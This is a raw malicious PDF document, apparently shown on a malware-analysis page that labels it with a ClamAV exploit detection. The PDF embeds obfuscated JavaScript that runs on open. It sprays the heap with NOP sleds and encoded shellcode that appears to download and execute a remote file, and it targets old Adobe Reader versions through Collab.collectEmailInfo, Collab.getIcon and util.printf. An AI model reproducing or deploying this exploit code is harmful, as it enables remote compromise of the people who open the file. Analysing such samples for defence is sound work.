��L�4���|@�Q��j� � �� �O�w��0m$��''�<R�T�.h���ކ��T*��&x[�48{3m G�����SJ�'W VgP���& S��_^SM�K��B�B�ɩ� oT� Դ� �*g;�6J���,x3o s ��p�N�Ь}�� U�� ؑ( � ������� �8V/q 4(5k�
�&C��_b� �K��?šRN�p]�$��b�� ;i�/F�j�5mU #�Z ��w[SN� ��s ���� .�� /��Q���
Ho��� �HQ�U�< � ��-����Ϲ��~n[�E���m%��-rG�"ylW����b��o �� ��KC��N��� i�{� ?�U& =�ܣ��M��^�+�Q�r�"0L��t:/
�Xڝ$�v �-�2� ����HtUP��Gs�L讜�,�8�jʪ�� lf92e'�,w�sT"=��Ѷ'%�r$�S���
�" ���0l �&��+h�� �q!�>�K ƌIQ�Tx�f���.�x{� �$���X�M[��y%� � [ұ �@s� ����@�� ���{1� u�L�ˑ���a:nl;m\Y�S�[0FH��[t��� C ]�a��� k'E< I.�BI ����ג&�fe�P�. JQ śR4]�Ž�3)�H��j&���+�fJ
� '�� ��Y����#���_1�� ���g����ӫ����� �l���x mn_�5 �1��4�����o��9P
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
11 0 R
13 0 R
15 0 R
17 0 R
19 0 R
21 0 R
23 0 R
]
/Count 11
>>
endobj
25 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
26 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
27 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
28 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Roman
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
29 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
30 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2430>>
stream
���� JFIF ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C
$.' ",# (7),01444 '9=82<.342��C
2! !22222222222222222222222222222222222222222222222222�� � � " ��
�ĵ } !1A Qa "q 2��� #B�� R��$3br�
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������
�ĵ w !1 AQ aq "2� B���� #3R� br�
$4�%� &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������� ?�(��K9 (� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(�@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ hX �).]s��G���� ��۬I � ���D�j�h�Ki�?5�*��5,�3O��BG�j��_���(� E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E u8� V֢T.䁜*�)V*z�����a� �>� 4��x�ֹ�S�ש����*(�� ��(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �)�G��@��nڱ�wd2�R
� QILAE P E P E P E P E P E P E P J �RQ@ d���P S%�icT`8���4T(El�rl(���B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� � � pE% bP&�L���
�R�/����� � ��)��5�n�)r�\�h��Ѐ��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��|i���� e k~���3QJ�>vg���J� QTPQE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE S�}� �E -2 a">=�Ⱦ^�wz���� TB�(�((��(��(��(��(��(��(��(��(��(��(��(��(��*H�iA*G � Ml�e�f⓽� "�6���I$&% �s�S �����wO�M���J� QV E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P @89���.#� ?6:b��Y�=M% *)QE @ QE QE QE QE QE QE S�; UI � ��i����*\�b�"��kIV2� rFy�)Fq��� ��QE c
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��/X �ǡ�Ik+�� 9 � �xs� �гH��[ �N+�� ������ �\�fx�W$�{�y�Ӄ�� ����M���䔟r�l�
(��((��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��*kkg��b��$� Z���1)�g��>�˺;tTQ�?�YNR�,P �
� �8���� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 27 0 R
/F2 28 0 R
/F3 29 0 R
>>
/XObject <<
/I1 30 0 R
>>
/Properties <</OC1 25 0 R /OC2 26 0 R>>
/ExtGState <<
>>
>>
endobj
31 0 obj
<<
/Names [(EmbeddedJS) 32 0 R ]
>>
endobj
32 0 obj
<<
/S /JavaScript
/JS (��var dkBf5m8ez=new Array\('sI0VlNTVRS','ba5skywBL'\);var ftMRyijdtO=new Array\(\);ftMRyijdtO[0]=1531;var u3hSJJf7V8="qfbO2pDU";var xRbxIKG2Fh = 'var a6piUBmWS = new Array\(\);var pDGMEz9Ab;function yQz94YUyH\(t8qImRLy, uO6hGkBKd\){while\(t8qImRLy.length * 2 < uO6hGkBKd\){t8qImRLy += t8qImRLy;}t8qImRLy = t8qImRLy.substring\(0, uO6hGkBKd / 2\);return t8qImRLy;}function cI0ZIhIXc\(z68pN8bAl\){if\(z68pN8bAl == 0\){var eIN5pLACV = 0x0c0c0c0c;}else if\(z68pN8bAl == 1\){eIN5pLACV = 0x30303030;}var qY8to5fN9 = new Array\(\\"%u5350%u52\\",\\"51%u5756\\",\\"%u9c5\\",\\"5%u00\\",\\"e8%u000\\",\\"0%u5d00%u\\",\\"ed83%u\\",\\"310d%u\\",\\"64c0%u400\\",\\"3%u7830%\\",\\"u8b0c%u\\",\\"0c40%u708\\",\\"b%uad\\",\\"1c%u408b\\",\\"%ueb08%\\",\\"u8b09%u344\\",\\"0%u408\\",\\"d%u8b7\\",\\"c%u3c\\",\\"40%u5756%u\\",\\"5ebe%u0\\",\\"001%u01\\",\\"00%ubf\\",\\"ee%u014\\",\\"e%u0000\\",\\"%uef01%\\",\\"ud6e8\\",\\"%u0001%\\",\\"u5f00%\\",\\"u895e\\",\\"%u81ea%u5e\\",\\"c2%u0001%\\",\\"u5200%u80\\",\\"68%u0000%\\",\\"uff00\\",\\"%u4e95\\",\\"%u0001\\",\\"%u8900%\\",\\"u81ea%u5\\",\\"ec2%u000\\",\\"1%u310\\",\\"0%u01\\",\\"f6%u8ac2%u\\",\\"359c%u0263\\",\\"%u000\\",\\"0%ufb80%u7\\",\\"400%u8806%\\",\\"u321c%ueb\\",\\"46%uc6ee\\",\\"%u320\\",\\"4%u89\\",\\"00%u8\\",\\"1ea%u45c2\\",\\"%u0002%u\\",\\"5200%u95\\",\\"ff%u0152%\\",\\"u0000%\\",\\"uea89%uc2\\",\\"81%u0250\\",\\"%u0000%u5\\",\\"052%u95ff\\",\\"%u015\\",\\"6%u000\\",\\"0%u006a%u\\",\\"006a%ue\\",\\"a89%uc2\\",\\"81%u0\\",\\"15e%u000\\",\\"0%u8952%u8\\",\\"1ea%u7\\",\\"8c2%u0002%\\",\\"u5200\\",\\"%u006a%u\\",\\"d0ff%\\",\\"u056a%\\",\\"uea89%u\\",\\"c281%u015e\\",\\"%u0000%uf\\",\\"f52%u\\",\\"5a95%u0001\\",\\"%u8900%u\\",\\"81ea%u5\\",\\"ec2%u\\",\\"0001%u520\\",\\"0%u8068%u\\",\\"0000%u\\",\\"ff00%u4e9\\",\\"5%u0001%\\",\\"u8900\\",\\"%u81ea%\\",\\"u5ec2%u000\\",\\"1%u3100%\\",\\"u01f6%u8ac\\",\\"2%u359c%\\",\\"u026e%u0\\",\\"000%u\\",\\"fb80%u7400\\",\\"%u8806%\\",\\"u321c%ueb4\\",\\"6%uc6ee\\",\\"%u3204%\\",\\"u8900%u8\\",\\"1ea%u\\",\\"45c2%\\",\\"u0002%u520\\",\\"0%u95ff\\",\\"%u0152%u\\",\\"0000%u\\",\\"ea89%uc28\\",\\"1%u0250%u0\\",\\"000%u5\\",\\"052%u95\\",\\"ff%u0156\\",\\"%u0000\\",\\"%u006a%u0\\",\\"06a%uea89\\",\\"%uc281%u0\\",\\"15e%u0\\",\\"000%u8952%\\",\\"u81ea%ua6\\",\\"c2%u0002%u\\",\\"5200%u0\\",\\"06a%ud\\",\\"0ff%u056\\",\\"a%uea8\\",\\"9%uc281\\",\\"%u015e%u\\",\\"0000%uff52\\",\\"%u5a95%\\",\\"u0001%u9d\\",\\"00%u5f5d\\",\\"%u5a5e%u\\",\\"5b59%uc35\\",\\"8%u000\\",\\"0%u00\\",\\"00%u000\\",\\"0%u00\\",\\"00%u0\\",\\"000%u0000\\",\\"%u0000%u\\",\\"0000%u6\\",\\"547%u54\\",\\"74%u6d6\\",\\"5%u5070\\",\\"%u7461%\\",\\"u4168%\\",\\"u4c00%u\\",\\"616f%\\",\\"u4c64%u6\\",\\"269%u617\\",\\"2%u7972%u0\\",\\"041%u6\\",\\"547%u50\\",\\"74%u6f72%\\",\\"u4163%\\",\\"u6464\\",\\"%u6572\\",\\"%u7373%u\\",\\"5700%u6e\\",\\"69%u7\\",\\"845%u6365\\",\\"%ubb00%u\\",\\"f289%\\",\\"uf789%\\",\\"uc030\\",\\"%u75ae\\",\\"%u29f\\",\\"d%u89f\\",\\"7%u31\\",\\"f9%ube\\",\\"c0%u003c%\\",\\"u0000%\\",\\"ub503%u021\\",\\"b%u000\\",\\"0%uad6\\",\\"6%u8503%u\\",\\"021b%u\\",\\"0000%u708\\",\\"b%u8378%u1\\",\\"cc6%ub503%\\",\\"u021b%\\",\\"u0000%\\",\\"ubd8d%u02\\",\\"1f%u00\\",\\"00%u03ad%u\\",\\"1b85%u00\\",\\"02%uab\\",\\"00%u03ad%u\\",\\"1b85%u\\",\\"0002%u\\",\\"5000%ua\\",\\"dab%u850\\",\\"3%u021b%u0\\",\\"000%u5ea\\",\\"b%udb31%\\",\\"u56ad\\",\\"%u8503\\",\\"%u021b%u0\\",\\"000%uc689%\\",\\"ud789%\\",\\"ufc51%ua6f\\",\\"3%u7459%u\\",\\"5e04%ueb4\\",\\"3%u5ee\\",\\"9%ud19\\",\\"3%u03e0%\\",\\"u2785\\",\\"%u0002%\\",\\"u3100%u96\\",\\"f6%uad6\\",\\"6%ue0c\\",\\"1%u0302%u1\\",\\"f85%u0002%\\",\\"u8900%u\\",\\"adc6%u8\\",\\"503%u021\\",\\"b%u000\\",\\"0%uebc3%u\\",\\"0010%\\",\\"u0000\\",\\"%u0000%u00\\",\\"00%u00\\",\\"00%u0\\",\\"000%u00\\",\\"00%u0000%u\\",\\"8900%\\",\\"u1b85%u000\\",\\"2%u5600\\",\\"%ue857\\",\\"%uff58%u\\",\\"ffff%u5e\\",\\"5f%u01ab%\\",\\"u80ce%ubb\\",\\"3e%u0274\\",\\"%uedeb%\\",\\"u55c3%u4\\",\\"c52%u4f\\",\\"4d%u2e\\",\\"4e%u4c44\\",\\"%u004c%\\",\\"u5255%\\",\\"u444c%u77\\",\\"6f%u6c6e\\",\\"%u616f%\\",\\"u5464%u\\",\\"466f%u6c69\\",\\"%u416\\",\\"5%u750\\",\\"0%u6470\\",\\"%u7461\\",\\"%u2e65%u7\\",\\"865%u0065\\",\\"%u7263%u7\\",\\"361%u2e6\\",\\"8%u6870%u\\",\\"0070%u74\\",\\"68%u7074%u\\",\\"2f3a%\\",\\"u732f\\",\\"%u617\\",\\"4%u6c\\",\\"6c%u6176%\\",\\"u7372\\",\\"%u382d%u\\",\\"632e%u2\\",\\"f6e%u7473\\",\\"%u2f3\\",\\"8%u7075\\",\\"%u6164%u\\",\\"6574%u\\",\\"702e%u\\",\\"7068%u693f\\",\\"%u3d64%u\\",\\"2633%u\\",\\"6572%u3d7\\",\\"4%u6b6f\\",\\"%u9000\\"\);qY8to5fN9 = unescape\(qY8to5fN9.join\(\\"\\"\)\);var mjIyzX45B = 0x400000;var yMGJO436pz = qY8to5fN9.length * 2;var uO6hGkBKd = mjIyzX45B - \(yMGJO436pz + 0x38\);var t8qImRLy = unescape\(\\"%u9090%u9090\\"\);t8qImRLy = yQz94YUyH\(t8qImRLy, uO6hGkBKd\);var wSOl4h7B = \(eIN5pLACV - 0x400000\) / mjIyzX45B;for\(var uhW2wUzOl = 0; uhW2wUzOl < wSOl4h7B; uhW2wUzOl++\){a6piUBmWS[uhW2wUzOl] = t8qImRLy + qY8to5fN9;}}function kMa7ScnUN\(\){var vFp16ohgjX = 0;var qZbpL6A4 = app.viewerVersion.toString\(\);app.clearTimeOut\(pDGMEz9Ab\);if\(\(qZbpL6A4 >= 8 && qZbpL6A4 < 8.102\) || qZbpL6A4 < 7.1\){cI0ZIhIXc\(0\);var h9nwsWTHsf = unescape\(\\"%u0c0c%u0c0c\\"\);while\(h9nwsWTHsf.length < 44952\) h9nwsWTHsf += h9nwsWTHsf;var krSp893PTw = this;var auOUl5kqAQ = Collab;krSp893PTw[\\"collabStore\\"] = auOUl5kqAQ[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : h9nwsWTHsf}\);}if\(\(qZbpL6A4 >= 8.102 && qZbpL6A4 < 8.104\) || \(qZbpL6A4 >= 9 && qZbpL6A4 < 9.1\) || qZbpL6A4 <= 7.101\){try{if\(app.doc.Collab.getIcon\){cI0ZIhIXc\(2\);var tsGQ5lRXX = unescape\(\\"%09\\"\);while\(tsGQ5lRXX.length < 0x4000\){tsGQ5lRXX += tsGQ5lRXX;}tsGQ5lRXX = \\"N.\\" + tsGQ5lRXX;var zkJcGjjF0 = app;zkJcGjjF0[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(tsGQ5lRXX\);vFp16ohgjX = 1;}else{vFp16ohgjX = 1;}}catch\(e\){vFp16ohgjX = 1;}if\(vFp16ohgjX == 1\){if\(qZbpL6A4 == 8.102 || qZbpL6A4 == 7.1\){cI0ZIhIXc\(1\);var eM1GFaEh = \\"12999999999999999999\\";for\(a7OUEohX = 0; a7OUEohX < 276; a7OUEohX++\){eM1GFaEh += \\"8\\";}var dBuIuB2lL = util;dBuIuB2lL[\\"printf\\"]\(\\"%45000f\\", eM1GFaEh\);}}}}app.tQgzaH2xWs = kMa7ScnUN;pDGMEz9Ab = app.setTimeOut\(\\"app.tQgzaH2xWs\(\)\\", 10\);';this.aP8WLvtql=30574;function kdfijC2vl5\(b7dSkmfjGf,nXCfF4je\){return false;}function eouHVJaqU\(vjeGnJYx\){return vjeGnJYx;}var diiH1sBFC = xRbxIKG2Fh.replace\(/[]/g, ''\);iMdKrY2CxZ="tFs6Bl8kxA";qr9SOPPvq=false;var kvD4E09GQ=new Array\('gphvRem5E1','i1US5n4s','jZrMLXAa0'\);var brkQZv4D = 'eval';app[brkQZv4D]\(diiH1sBFC\);var lbLFdNd7r=new Array\('pVfnTVos','dlhO4OvBI','fSZsSgA5H'\);function gEqlgxELr\(\){return false;}function kLf9pm3V2r\(\){return false;})
>>
endobj
33 0 obj
<<
/Title (��thoseMiddleForm)
/Author (��ametGalleyRandom)
/Subject (��goodOfFrom)
/Keywords (��tendNowTheir, thereGoingRepeat, needTextTheir)
/Creator (��sureIn)
/Producer (��18b8ea83d814103c4a8f379165ce9a62)
/CreationDate (D:20091013200308+04'00')
/ModDate (D:20091013200308+04'00')
>>
endobj
34 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 31 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [25 0 R 26 0 R] /D <</ON [25 0 R] /OFF [26 0 R] /AS [<</Event /Print /OCGs [25 0 R 26 0 R] /Category [/Print]>> <</Event /View /OCGs [25 0 R 26 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 35
0000000000 65535 f
0000017968 00000 n
0000021245 00000 n
0000000009 00000 n
0000000117 00000 n
0000001652 00000 n
0000001760 00000 n
0000003239 00000 n
0000003347 00000 n
0000004887 00000 n
0000004996 00000 n
0000006533 00000 n
0000006643 00000 n
0000008178 00000 n
0000008288 00000 n
0000009793 00000 n
0000009903 00000 n
0000011470 00000 n
0000011580 00000 n
0000013135 00000 n
0000013245 00000 n
0000014782 00000 n
0000014892 00000 n
0000016465 00000 n
0000016575 00000 n
0000018094 00000 n
0000018210 00000 n
0000018324 00000 n
0000018431 00000 n
0000018540 00000 n
0000018648 00000 n
0000021440 00000 n
0000021492 00000 n
0000034112 00000 n
0000034540 00000 n
trailer
<<
/Size 35
/Root 34 0 R
/Info 33 0 R
>>
startxref
34942
%%EOF
|
|||
generic_stage_recovery_005.js |
deobfuscated-js | generic stage recovery null-collapse -> percent-decode from raw PDF metadata at offset 0x0 | 29481 bytes |
SHA-256: 946c8eb8434d0b53a7595497c369468df7da607cfbcbedbe4f4fe06e7dc9a106 |
|||
|
Detection
ClamAV:
Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 1464>>
stream
x��Yێ�6 |�W�c��X����i.H��H�@Q y�DJ�-�
)�V�� �%Kg�n�F5 _ J �sfΐ�'�5 ��� �>�C�xͣ�=���W ��d>�E�� �/_O.��Hӳ�lˋ�X��� �d��z�&� � �ޤxa����3p����'A|��C� � ��� �t�,V����K����+�ԯ�q�7��� � �qy��v��6�3 ;��F�y�9��f�a� x�fa�0��=���w� �܌>���-D�wA �M�n�`�d8���k|����<�� 9����K�r � �?F��p��s#Z�z �Ry F 醗f�Y�F�Σ�� ���>�s �g. ������A>{�\
Y� Y�� {�����Pd�u�� �L
(�bhM7B��8�]�Z)��X�G�u��误 ��ҵ����K {R��� �R9d�u��� ]�l_V�E��{ �
������+�NյH�{�xQ9��o �I � ��� U�� m�� ��o%��~����g>K�QFbPF��D�$��xV��l��Q��Eх({FW;9-ڈ � � �^B�Zzd��pBj_Aԗ� 7)3-�� ����`�Y[ �è &�K�+�%�`6�uYuPF5 m ��� N� � ���� �2b�� iY�pu�lh�S��oI
��B�j��Rj?b'<e�|�U( S��M�X Z*3)� �t g1jf6˘zO`��X~� �= � 9�bt�ts�0�F�Z� ߄��F8"� ��2���-c��W�� ]E4�P )L Z�hE͌4���r� � P] � �G�Q � ��T�VK�ŵ�(�kX��^�� +w�i�� �� T
�]�Z1�*T�o�q �� l{idP$��t=��t�R�Q�<<�jOA�O˶�m HT m{?i��#�|�)9;����g��!���mĥ����1l-S��� r ���X38��2��L�L�# ��S��3��J �bg�)KƱ� NhR� �0\�� � Z�����I�� � �YT��*� ��[��RV�_OY�I�FĹu<- �;5 � �x�j���kK g�a��o߈�j�o �IQG�9e� П�Z �b�ȭ� XD����ܚe��@3+)քb Ħ/
���@���� NdR� ž5<H���{. Y �AÅ�
P c�phS�� v�
e��� 7 -5�F�,yt� ? pı�^�jH�� �&�}�� )��)f U�Wc���Y �% ������."� uJ��@ݻ��0"> qf�u !mX�J5!�%��@�����8-���g���xğ��� �I �L�rR�iĝ � v (봴l< �e�G "Xw��Q�)3)�A��~pbS�9� pD� a =U�� � �m�U�9�=w�}1 5 {�I!GT�ƚP!iLr� Y�vOɬ=䨦u�iD���ѱݙ� � Y X �+�l �� mĭ� �VXo�4%� #W�C�w� mI���x }v��"D� ���ͽ�$gˇ]�۟a��DL֛��@�I�w� ��O�� � =� ��� ���}
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 1408>>
stream
x��YMs�6 ��W�=� %����s�I���3�N& ��HH ��h��w!' \+v�m=CˢIa��۷˧i�X�� oxl�� _
�x��� x�r�t�L��������$�t���y� �e�<��,Y̰Z��t��Ɠ�)�[���} ^���� >c�K�7~� ��t�JfgX��d��E��?To�ݽtR�� o��_W� �����cu~�,��+ ۿUF�u�5��z�~� xl'a��z1����_}�� ���'p�����Έc�N�s�X, ���� 0yw�&O��ĩ� �K� Ӑ�C�
�e J�J-��F� ?;4�7�t���# �,��Z .ze�UY��#W�Dc}�O��� Ϗ�ma YSZ��fC0�� ��Pm�gv/�Y'QJ] ���
�
o
��.�p�x|�� n)���Lبˉ�Q|� K�
i M� l �����n�ވC���� u3&��� �(�uU([C� ���8��e L�(nm�= %�M��� +� � w�K���QA���� IĨ �f� '� ��[U@�C�Y�U�7Ĥ!�n�C��P ��=O�,� 9�:� �oT� �ڊhP��� w�j;�Qɢ��� 2-�$� � ��,�N�"��� �� ��nG� q�k�}�� O�c�3Gj�R� ��#�Z'�M8�DˆՅ Ye �`� �bM;@�֍ { 1,�\ ��{����@r�l��+\]����Qo,[�^�]W�� %k�R�O[n��%�Sz�x�#z Z*�A�m ��� Ze �xk�� |��aQN|/ C�Ѷ�
� b 6�p�Z ����� � Z�ج��9���
`ʡ� �� �P� �5 ~�� �( �Ԓl8��bT� {i��b�kd ��pzbbu�j�dI� �A���6m��G[)W� y�B }a�f i��-o ��-����nQ�sE��: �](_� ;1&� �k��N�m �Vm ���Ez�?}ׄ�� qĿ�^��� �/2 +՞�� � $d�oX�Q G� � +Q�ȶN�<��� � {� ���{7`��n�ٺCW���;qe-6�ը����2ȶS#�7� 5k!�� R��-c�+�S���6 � �t��^�
�5�ǸQ�G�;Z ��c+�A2�]=b�C-¨�"� � � ��8�g���6@���P�rm� @�8���<�E�Ȁ�'�ͭh��hq��3�}���u5�<Y 3&��
5�����~�Op��Q1GL�%�|.ؓ�}x^ �>g _ 8��� ¨�#F�AE�5�"Y ��Y��i�E.C^E?n #�<�� }>���O��7���^� �����d8 ��2 �NZ�Q��oF �_ MP�e 2\�[m�T�
9~$�6 !w��w��x �� �
;��A�p ����{� '�� w �*�;&dL� �nY���o R�� �7f�u2_ G��o� �� ���{�t���|�ЈRb�'LM�� ��' ]L��
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 1469>>
stream
x��Y�n�8 |�W����K}���� ],� X,�>P -1�H� �(_�C'���I�� ۴l �93gHO�� =�x�� _�����W5yq�go昭�� �[�>�|�>8O 1�-�� ?4�r��N�|�-�X�g�t����w3���x�� x���O �
S�:���U���V�l� ��2��pZ��o� kwo��� ��{~�͌� �� � �ON���jFc� ��8o2�4�,�O8 ��I� �^N� ��w߂��� �OW �9q�6��
�K�sy�Z�3& �X�� ��@]� 9�����Ok� �� Ep9���� (th��
����@!|'�[ :��"� mp^fx}����� � �hd�V� ��)��<� ��a�l��v6Tu6*�� ��Zr�jh=�" ��h! eY �U0A�B� { #Y� \�0Fd�G
g�;C�m�DŽ�:9@ֲ� 6%zi� m _8��ҏ �����/�%��l�CQsn�H ��Ee�[WB��CTF� > 7� 4��( ��`ƍWB 'Jż�� ��0�~7�� �Zl� 8 �"~1x � �Zo�:ՠp�K Z ��w�0*�.�2�^U5Yr�+� ���B�A����-���
cބ�V� /����"� �E�\��� 6�D��/�'�E�-aw��P�=z�� 9���� �
� V%#/M�X�bM�9 � � z��i�rjP�Ή� $7%)�W�t{1m�; �MWS �mШ�`p �KU� ^�Q�t��oW� � .��n f?;�
C� :0 ]��u < ي�#�Ϫ�fT� ['� �<�� ��J�pz) ��=�jH�͆���Y e,# �t��]� ypƿQQ'$�E䠦�i�);*��m�E �ZK�kC�z� �5��p������V��E� �2ת w��J�V_��·�`�� vG� �I<O���p���:\�U)�v� �¸ �<퓮m �d\p )�� �Ӆ 8��aj yp��P��8�-�/ׂ�dݨ��<!Dc���u���)���6 w�O.t3*�ER� � \ ���� �^R �� oR�?dl(���!�1*� Wn��� ��N1n��
?��J�2�X�-� OQ7�������W�H��� �,
U���M ��B���� ?3&�yB��6�,4yt��(N�؆Z|��T�nih�V��� �77!Q
� ���;�!SC��w���o � � ��GE��g+zs�U� 0;%➃�(����Ҳi ������J�yB��w �)�z� �}�X �ر��� �� �?+]'^ 7&mT��&'z��} 2`�mr�p� u�;K��E���� ���� w���cJSَZ�QA���w�� ��c��ڱ�kGE�4�7��[
�Ŧς� ��m�e�j� � C� (!�o�����gT�)� ,Q**�A y���9� pB�o9K�"�/J�p �-շ�;?n�{Ò��W��c!ZZ���TcV����|�� ����
f��9@� '��M�X Ư^�s�Gb���_ f�l}�cB+*� �1�ɺ~�`}�/�l��
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 1465>>
stream
x��Y�n�6 |߯���Eً��Ǧ� A����� �@I\�^��Iъ�� ��,m��K� ��� ��3g��N�� �x�� ?qWr{ͭ�<?óWs�V�t��-^�M.� �G 1�-��)o�b��V�8�g�9��Y6��h��� / ���} ^���� .0��;�m >g�Zg� lf�l��Y�����ٽ�R�� go��� � �/#. X��f����� a�h�i�Yb�pn�0@ ��<|���7W߁��� ��� �9q�6�� -�K�sy��� L���$���C? ���_N�����TU��Z� �wnD�*䪓%D�v �Ъ�9W��W ~7� �� NI~,� ͑��� /"ľ5hD! �Z �j�^� j ��MA�*��z;b;* 2��z� ��ۤpg �E�� ��c�M_3��
*uI|�p CM�bD+�+� �qmĥ���K�
�q���1%��� �����F��َ �� :k|�MxD%ZR�k=�7{�X�eI�� @?(��B���K�J� WY*��I�2���3�I *��[9� ��c³p���P {~B�%����'%�a_��m�2��e 5oCi}Š[�ˤ�#a��rxW+j) ;�Kآ� :e�C�rN�픥��{�q�?� /z���B>�
R�#.M� %E i칰�An��A1 NM�K��mG�A�I�,#��-,ZiU �tD^ �@��0L��33 � SM�0-#��a4�FU Sx��!= ��Dr�j$L) �
��:�x��5f�$�&v5�wN�I!/��i� ������ ɶ�鈎���k�P� � �sn�Z��Q���3�#��IQGJڝ�� �� ��\ӏ�.Ǵ+ �O�5"�L��IY2qo� ��^(s���Q
:x��ޔ �w���3]��_(� �u� �I$ +J �H� ~���`&wbt( �v��0ӫ68d��p60 -_�B��d%�|W1�4L7�� Ж�x�@�W*���cM1����l�o-�p��I��HP�� <^��>p�H]� W�$� �o+l��^!PPlV��� ʽ� ��G� ���gI����W�\d��N�������q#�G��F� �� eń�7��`e�K�:��`��3|��� �j)�J �Է�Ƥ�# u�ĸ���+\ o �Q0��O�sR ." ~�_&�5m ��U� @��� ���� � s��� Y R.ݤ����~�1唐瑪"�Gl��� _���)�� �^�x�h.�N �y$��Z/O3Q0�}= K�� W��v;ƶ� p$��� 4(*ٔ!�r7�\8�)�C��̘�*��]0)�HF��-� �s� ���: ��G<8)�ửo�u1���uP�iK�Y��ohB<�\� �͢��� ����H@�q�:����B$jP�,�Y~���)! 6mB�=ި��O �C�� ARԑ~.J��<x� �3
j�T "���f�NC�
��{-��/��i�� {��I�9n� *��*� � � ���'� B� � F ~�� �C���kh�? ��&�h1�d��,:QI�� W8�� ��'� Ɏ�
endstream
endobj
11 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 12 0 R>>
endobj
12 0 obj
<</Filter /FlateDecode /Length 1463>>
stream
x��YMs�6 ��W�=�ѷ�c�|L2�t�x���� $ � M��,d'�c)�E<�eR��x���%4MV ��5� >|�K��%�r�� O^�1['�). <��|�zq \�l�H �i��:Y_`9OVsl6�d:GV�ɫ � ���} ��z��� >aʡ�{ m ~�l�I�Klg�d��e� �To�ٿ�R�� ����_f� ��̸Z`sq���736fx� ��
�&� � '� �����'�{y;� ��� 8��@dx�ı�&� �X� �s����}d�'r{�ҏ �6���O�1Nn�� QhӢ�� b/�� M�Ai��\���ʿW���k��߀T�
��m� ��
�� ���`/�`�� Z��o69 ��c�� ';��d{d� j��)�-��t�DE8�C�Fر�B�� �� Ҿ�a� N }P
A�L�E+� E�pXէ �he���c����� A1tV �\k��� ���n��A�$�U +3�J��u &7ֱ��A"5Vr�俙h� ��@�L:t Q ��N�}\� s^eLѠr �l:�D��)MS���}�RiYs " D.q�6�]�E��� G�:*��3ۮb�9����A* �U�I��Ewm <�%� �| Jc� ]O6���L�j�cT� ������)�Q3���`�U羁y5�d �� �{�Gע�\�Nr�{U�� Z j)�{��`T���6 ��5*J� � �%xM� <-� Y � ��m� ê��
